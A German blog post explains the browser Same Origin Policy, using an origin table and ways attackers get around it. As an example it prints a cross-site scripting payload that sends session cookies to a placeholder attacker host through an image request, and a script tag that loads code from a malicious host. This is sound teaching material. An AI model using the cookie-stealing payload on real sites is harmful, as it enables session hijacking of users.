Skip to content

Die Same Origin Policy

Der wichtigste (und eigentlich einzige) Schutz der Webbrowser vor bösartigen JavaScript-Code ist die Same Origin Policy. Vereinfacht besagt sie: "Jeder JavaScript-Code darf nur mit dem Server kommunizieren, von dem er geladen wurde". Das verhindert, dass eingeschleuster JavaScript-Schadcode hemmungslos mit einem Server des Angreifers kommunizieren kann, stört mitunter aber auch bei harmlosen Anwendungen.

Die Same Origin Policy

Eine andere umgangssprachliche Formulierung für die Same Origin Policy könnte "Von einer vertrauenswürdigen Webseite mitgelieferter JavaScript-Code ist vertrauenswürdig" lauten. Jedes HTML-Dokument bzw. der darin enthaltene JavaScript-Code darf nur mit dem Server kommunizieren, von dem es geladen wurde, und im Browser nur auf Objekte zugreifen, die vom gleichen Server geladen wurden. Dabei wird die Herkunft (Origin) einer Datei anhand von Protokoll, Host (Domainname) und Port definiert.

Der auf einer Seite enthaltene JavaScript-Code darf also diese Seite ändern und vom eigenen Server Daten nachladen bzw. diesem Daten schicken, nicht aber auf von anderen Servern geladene Seitenbestandteile zugreifen oder Daten an andere Server schicken. Damit wird verhindert, dass zum Beispiel JavaScript-Code aus einem eingeschleusten iframe auf das DOM der eigentlichen Seite zugreift und dort Daten ausspäht oder manipuliert.

Am besten lässt sich die Wirkung der Same Origin Policy an einem Beispiel erklären. Die folgende Tabelle zeigt das Ergebnis für Zugriffe eines Skripts, das in der vom URL http://www.server.example/pfad/seite.html geladenen Seite enthalten ist.

URL   Ergebnis   Grund
http://www.server.example/pfad/verzeichnis/daten.html erlaubt
http://www.server.example/anderer/pfad/seite.html erlaubt
https://www.server.example/sicher/seite.html verboten Anderes Protokoll
http://www.server.example:8080/daten.html verboten Anderer Port
http://news.server.example/nachrichten/index.html verboten Anderer Host (Domainname)
http://www.boese.example/pfad/irgend/etwas.html verboten Anderer Host (Domainname)

Einen Sonderfall bildet dabei der mit Hilfe des script-Tags geladene JavaScript-Code: Darüber nachgeladener JavaScript-Code wird der Origin des ladenden HTML-Dokuments zugeordnet und darf nur mit dessen Server kommunizieren.

Ein Angreifer hat also zwei Möglichkeiten, seinen Schadcode zu laden:

  1. Er schleust einen iframe ein, der von seinem Server geladen wird. Dem JavaScript-Schadcode darin ist dann der Zugriff auf das DOM der Seite und die Daten der angegriffenen Webanwendung verwehrt.
  2. Er schleust ein script-Tag ein, das den Schadcode von seinem Server lädt: <script src="http://www.boese.example/boese.js">
    Diesem Code wird die Origin der angegriffenen Webanwendung zugewiesen, er kann also auf deren Daten im DOM zugreifen. Dafür hat er aber keine Möglichkeit, mit dem eigenen Server zu kommunizieren.

Die Cyberkriminellen umgehen das Problem teilweise, indem sie Daten von ihrem eigenen Server laden und dabei ausgespähte Daten als Parameter übertragen. Ein klassisches Beispiel ist folgender Code zum Ausspähen von Session-Cookies:

<script>document.write("<img src=\"http://www.angreifer.example/cookie-sammler.php?geklautercookie="+document.cookie+"\">");</script>

Angeblich wird ein Bild geladen, tatsächlich enthält der Request für das Bild den Cookie der Anwendung als Parameter. Auf dem Server des Angreifers läuft ein Skript, dass den Cookie entgegennimmt und speichert (und damit es nicht auffällt, ein leeres Bild zurück liefert).

Außerdem kann die Same-Origin Policy über Ajax-Proxies oder zum Beispiel Google Translate umgangen werden, da darüber aufgerufene Seiten als Origin den Ajax-Proxy oder Google Translate haben, egal woher die Daten ursprünglich kommen.

Und in HTML5 gibt es die Cross Origin Requests, für die die Same Origin Policy nicht gilt.

Carsten Eilers

Trackbacks

Dipl.-Inform. Carsten Eilers am : HTML5 Security - Cross Origin Requests

Vorschau anzeigen
Cross Origin Requests heben den wichtigsten (um nicht zu sagen einzigen) Schutz der Webbrowser vor bösartigen JavaScript-Code teilweise auf: Die Same Origin Policy (die ich hier genauer erkläre). Sie verhindert, dass eingeschleuster Sc

Dipl.-Inform. Carsten Eilers am : HTML5 Security - Gefährliche WebSockets

Vorschau anzeigen
WebSockets dienen dem Aufbau bidirektionaler Verbindungen. Auch das muss sicher geschehen. Darüber hinaus haben die WebSockets aber noch einen gewaltigen Nachteil (um es mal höflich zu formulieren). WebSockets sicher einsetzen F&amp;uu

Dipl.-Inform. Carsten Eilers am : Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS

Vorschau anzeigen
Nachdem es in der vorherigen Folge um die Universal XSS Schwachstelle im IE ging möchte ich ab dieser Folge ein paar mögliche Angriffe über Cross-Site Scripting vorstellen. Bevor es zu den eigentlichen Angriffen kommt sollen aber er

Dipl.-Inform. Carsten Eilers am : XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe

Vorschau anzeigen
Wie man über XSS Informationen ausspäht, habe ich bereits am Beispiel von Cookies und Tastendrücke sowie Zugangsdaten und der Browser-History beschrieben. Es gibt aber auch noch fortgeschrittenere Möglichkeiten, mit Hilfe vo

Dipl.-Inform. Carsten Eilers am : Den 0-Day-Exploit des Dezembers präsentiert mal wieder Adobe

Vorschau anzeigen
Es gibt mal wieder einen 0-Day-Exploit. Und wie schon fünf von elf mal in diesem Jahr ist mal wieder der Flash Player Ziel der Angriffe. Damit geht mal wieder die Hälfte aller 0-Day-Exploits aufs Konto des Flash Players. Auch 2015 waren